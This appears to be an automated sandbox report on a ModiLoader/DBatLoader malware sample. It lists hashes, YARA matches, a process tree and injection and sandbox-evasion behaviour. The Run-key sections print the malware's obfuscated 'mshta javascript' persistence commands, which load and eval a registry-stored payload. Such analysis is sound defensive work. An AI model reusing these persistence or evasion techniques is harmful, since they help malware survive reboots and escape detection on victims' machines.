Analysis
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max time kernel
154s -
max time network
160s -
platform
windows10-2004_x64 -
resource
win10v2004-20220721-en -
resource tags
arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system -
submitted
02-08-2022 03:31
Static task
static1
Behavioral task
behavioral1
Sample
5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe
Resource
win7-20220715-en
Behavioral task
behavioral2
Sample
5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe
Resource
win10v2004-20220721-en
General
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Target
5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe
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Size
603KB
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MD5
0d0676faabe04d0dd85e5379ef246313
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SHA1
261bad2856f0623a5a5d8f079170c4ff1d2547d7
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SHA256
5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b
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SHA512
94081ddd322928ee5a837eae60649093cffec9946c01698dafe4077051ff43829626d69360b8b1b772bf7a7b025498699d4f21a882a8608e084a436593e05fc1
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 11 IoCs
Processes:
resource yara_rule behavioral2/memory/2380-132-0x0000000000400000-0x000000000049B000-memory.dmp modiloader_stage2 behavioral2/memory/2380-133-0x0000000000060000-0x000000000012C000-memory.dmp modiloader_stage2 behavioral2/memory/2380-136-0x0000000000060000-0x000000000012C000-memory.dmp modiloader_stage2 behavioral2/memory/208-138-0x00000000006E0000-0x00000000007AC000-memory.dmp modiloader_stage2 behavioral2/memory/208-140-0x00000000006E0000-0x00000000007AC000-memory.dmp modiloader_stage2 behavioral2/memory/2252-142-0x0000000000F00000-0x0000000000FCC000-memory.dmp modiloader_stage2 behavioral2/memory/1264-145-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral2/memory/2396-148-0x00000000006F0000-0x00000000007BC000-memory.dmp modiloader_stage2 behavioral2/memory/2396-149-0x00000000006F0000-0x00000000007BC000-memory.dmp modiloader_stage2 behavioral2/memory/2252-150-0x0000000000F00000-0x0000000000FCC000-memory.dmp modiloader_stage2 behavioral2/memory/1264-151-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:EyvzV14jJ=\"v3x72Nb7P\";T3p0=new%20ActiveXObject(\"WScript.Shell\");R1ThtY2jN=\"7we\";bT91wT=T3p0.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c048e1b63e\\\\552fd459\");rEDu4Pl=\"ERw\";eval(bT91wT);IMhbSHY16=\"Z\";" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:G30izraX=\"olFKLWAaYq\";wW1=new%20ActiveXObject(\"WScript.Shell\");xu1v0GZz=\"p2zNsojrs\";uL37Yn=wW1.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c048e1b63e\\\\552fd459\");XmeNZuu0=\"G7GCS4lz\";eval(uL37Yn);rT6Vix0q=\"YkR88\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:gUIM9T2g=\"62Wmscf\";A7H6=new%20ActiveXObject(\"WScript.Shell\");zh4UYzhq=\"E1sLW56j\";Hh49YC=A7H6.RegRead(\"HKCU\\\\software\\\\c048e1b63e\\\\552fd459\");K4sWu7GM=\"DpXxcuo\";eval(Hh49YC);nhe7pBo=\"vuvQs6K\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 regsvr32.exe -
Processes:
regsvr32.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
regsvr32.exepid process 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exeregsvr32.exeregsvr32.exepid process 2380 5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe 2380 5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe 2380 5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe 208 regsvr32.exe 208 regsvr32.exe 208 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe 2252 regsvr32.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exeregsvr32.exeregsvr32.exedescription pid process target process PID 2380 wrote to memory of 208 2380 5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe regsvr32.exe PID 2380 wrote to memory of 208 2380 5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe regsvr32.exe PID 2380 wrote to memory of 208 2380 5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe regsvr32.exe PID 208 wrote to memory of 2252 208 regsvr32.exe regsvr32.exe PID 208 wrote to memory of 2252 208 regsvr32.exe regsvr32.exe PID 208 wrote to memory of 2252 208 regsvr32.exe regsvr32.exe PID 2252 wrote to memory of 1264 2252 regsvr32.exe regsvr32.exe PID 2252 wrote to memory of 1264 2252 regsvr32.exe regsvr32.exe PID 2252 wrote to memory of 1264 2252 regsvr32.exe regsvr32.exe PID 2252 wrote to memory of 2396 2252 regsvr32.exe regsvr32.exe PID 2252 wrote to memory of 2396 2252 regsvr32.exe regsvr32.exe PID 2252 wrote to memory of 2396 2252 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe"C:\Users\Admin\AppData\Local\Temp\5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/208-134-0x0000000000000000-mapping.dmp
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memory/208-137-0x0000000000840000-0x0000000000849000-memory.dmpFilesize
36KB
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memory/208-138-0x00000000006E0000-0x00000000007AC000-memory.dmpFilesize
816KB
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memory/208-140-0x00000000006E0000-0x00000000007AC000-memory.dmpFilesize
816KB
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memory/1264-143-0x0000000000000000-mapping.dmp
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memory/1264-151-0x0000000000110000-0x00000000001DC000-memory.dmpFilesize
816KB
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memory/1264-145-0x0000000000110000-0x00000000001DC000-memory.dmpFilesize
816KB
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memory/1264-144-0x0000000000840000-0x0000000000849000-memory.dmpFilesize
36KB
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memory/2252-150-0x0000000000F00000-0x0000000000FCC000-memory.dmpFilesize
816KB
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memory/2252-139-0x0000000000000000-mapping.dmp
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memory/2252-141-0x0000000000840000-0x0000000000849000-memory.dmpFilesize
36KB
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memory/2252-142-0x0000000000F00000-0x0000000000FCC000-memory.dmpFilesize
816KB
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memory/2380-136-0x0000000000060000-0x000000000012C000-memory.dmpFilesize
816KB
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memory/2380-131-0x00000000026F0000-0x0000000002840000-memory.dmpFilesize
1.3MB
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memory/2380-135-0x00000000026F0000-0x0000000002840000-memory.dmpFilesize
1.3MB
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memory/2380-133-0x0000000000060000-0x000000000012C000-memory.dmpFilesize
816KB
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memory/2380-132-0x0000000000400000-0x000000000049B000-memory.dmpFilesize
620KB
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memory/2396-146-0x0000000000000000-mapping.dmp
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memory/2396-147-0x0000000000840000-0x0000000000849000-memory.dmpFilesize
36KB
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memory/2396-148-0x00000000006F0000-0x00000000007BC000-memory.dmpFilesize
816KB
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memory/2396-149-0x00000000006F0000-0x00000000007BC000-memory.dmpFilesize
816KB